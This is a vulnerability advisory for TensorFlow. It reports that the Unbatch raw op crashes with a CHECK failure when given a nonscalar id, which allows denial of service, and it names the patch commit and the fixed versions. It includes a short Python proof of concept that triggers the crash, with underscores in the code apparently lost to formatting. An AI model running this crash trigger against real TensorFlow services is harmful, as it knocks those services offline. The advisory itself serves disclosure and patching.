PT-2026-59833 · Pypi · Tensorflow
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
5.9
Medium
| Vector | AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H |
Impact
When
Unbatch receives a nonscalar input id, it gives a CHECK fail that can trigger a denial of service attack.python
import tensorflow as tf
import numpy as np
arg 0=tf.constant(value=np.random.random(size=(3, 3, 1)), dtype=tf.float64)
arg 1=tf.constant(value=np.random.randint(0,100,size=(3, 3, 1)), dtype=tf.int64)
arg 2=tf.constant(value=np.random.randint(0,100,size=(3, 3, 1)), dtype=tf.int64)
arg 3=47
arg 4=''
arg 5=''
tf.raw ops.Unbatch(batched tensor=arg 0, batch index=arg 1, id=arg 2,
timeout micros=arg 3, container=arg 4, shared name=arg 5)Patches
We have patched the issue in GitHub commit 4419d10d576adefa36b0e0a9425d2569f7c0189f.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
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Attribution
This vulnerability has been reported by 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology.
Fix
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Related Identifiers
Affected Products
Tensorflow